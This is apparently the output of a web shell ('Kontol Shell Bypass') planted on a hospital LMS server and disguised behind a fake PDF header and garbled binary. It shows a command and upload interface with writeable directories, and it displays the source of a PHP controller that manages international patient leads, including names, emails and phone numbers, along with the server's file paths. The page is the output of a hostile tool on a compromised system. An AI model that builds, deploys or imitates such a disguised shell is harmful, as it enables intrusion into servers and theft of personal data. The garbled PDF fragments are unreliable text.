%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital_old.org/lms/api/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital_old.org/lms/api/application/controllers/Internationalleads.php
<?php
class Internationalleads extends MY_Controller {
    function __construct() {
		parent::__construct();
		not_logged_res(); 
		ini_set('memory_limit', '2048M');
		//$this->checkAccess('lead_view');
		$this->load->model("international_model", "linternational");
        $this->load->model("dataset_model", "dataset");
        $this->load->model("user_model", "user");
	}

	function init(){
		$lvOpt=$this->dataset->detail(0, USER_ID);
		$programs=$this->common->programs();
		$data['programs']=[];
		if($lvOpt['programs']){
			foreach($programs as $i=>$r){
				if(in_array($r['id'], $lvOpt['programs'])){
					$data['programs'][]=$r;
				}
			}
		}else{
			$data['programs']=$programs;
        }

		$utm_sources=$this->common->allUtmSources(true, true);
		$data['utm_sources']=[];
		if($lvOpt['utm_sources']){
			foreach($utm_sources as $i=>$r){
				if(in_array($r['id'], $lvOpt['utm_sources'])){
					$data['utm_sources'][]=$r;
				}
			}
		}else{
			$data['utm_sources']=$utm_sources;
        }
		$data['utm_groups']=$this->common->utmGroups(true);  

		$data['remarks_cats']=$this->linternational->remarks_cats();
		$data['remarks']=$this->linternational->remarks();

        $data['lead_restrict']=LEAD_RESTRICT;
        $data['appointment_times']=appointment_times();

        $data['users']=$this->user->active_users(!IS_ADMIN);
        $data['USER_ID']=USER_ID;
	
		$this->json_data($data);
	}

	function lists(){
		$qs=trim_array($_REQUEST);
		if(LEAD_RESTRICT){
			$_REQUEST['fromDate']='';
			$_REQUEST['toDate']='';
			if(!$qs['k']){
				$data['result']=[];
			}else{
				$data=$this->linternational->lists();
			}
		}else{
			if($qs['step_completed'] && in_array('0', $qs['step_completed'])){
				$data=$this->linternational->listsStepZero();
			}else{
				$data=$this->linternational->lists();
			}
		}
	
		$this->json_data($data);
	}

	function exportLists(){
		$qs=trim_array($_REQUEST);
		$data=$this->linternational->lists(TRUE);
		download_leads_csv($data['result'], leadsKeysLabels());
	}

	function save(){
		$post=trim_array($this->input->post());
        $inf=array('success'=>false, 'msg'=>'Error!','errors'=>array());
        $id=$post['id']=(int)$post['id'];
        if(!$id){
            $this->checkAccess('lead_add');
            $defaultUtmSource = $this->db->from('master_utm_sources')->where(['default_for_admin'=>'1'])->select('id,title')->limit(1)->get()->row_array();
            if($defaultUtmSource){
                $post['utm_source_id']=$defaultUtmSource['id'];
                $post['utm_source']=$defaultUtmSource['title'];
            }
        }else{
            $this->checkAccess('lead_edit');
        }
		
		$this->form_validation->set_rules('name', 'Name', "required|callback_valid_name", $this->req);
        $this->form_validation->set_rules('email', 'Email', "required|valid_email|is_unique[international_applicants.email.id!='$id']", $this->req);
        $this->form_validation->set_rules('mob', 'mob', "required|integer|exact_length[10]|is_unique[international_applicants.mob.id!='$id']", $this->req);
        $this->form_validation->set_rules('country', 'Country', "required", $this->req);
        $this->form_validation->set_rules('query', 'Query', "required", $this->req);
        $this->form_validation->set_rules('enquire_for', 'Department', "required", $this->req);
       /* $this->form_validation->set_rules('lpage_id', 'Landing page', "required", $this->req); */

		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else if(!$id && !$defaultUtmSource){
            $inf['msg']="No Default Lead Source Found";
        }else{
             $data=filter_value($post, array('id', 'name', 'email', 'mob', 'country', 'query', 'enquire_for', 'lpage_id','utm_source_id','utm_source'));
            if($this->linternational->save($data)){
				$inf['success']=true;
				$inf['msg']='Lead '.($id?'updated':'created').' successfully';
			}
		}

		$this->json_data($inf);
	}

    /** */
    function detail_to_edit($id=0){
		$data['dtl']=$this->linternational->detail_to_edit($id);
		$this->json_data($data);
	}
	function detail($id=0){
        $data['dtl']=$this->linternational->detail($id);
        $data['followups']=$this->linternational->get_follow_ups($id);
		$this->json_data($data);
    }
    function delete(){
		$this->checkAccess('lead_delete');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		
		if($this->linternational->delete($id)){
			$inf['success']='T';
			$inf['msg']="Lead deleted successfully";
		}
		$this->json_data($inf);
	}

}

//EOF

Kontol Shell Bypass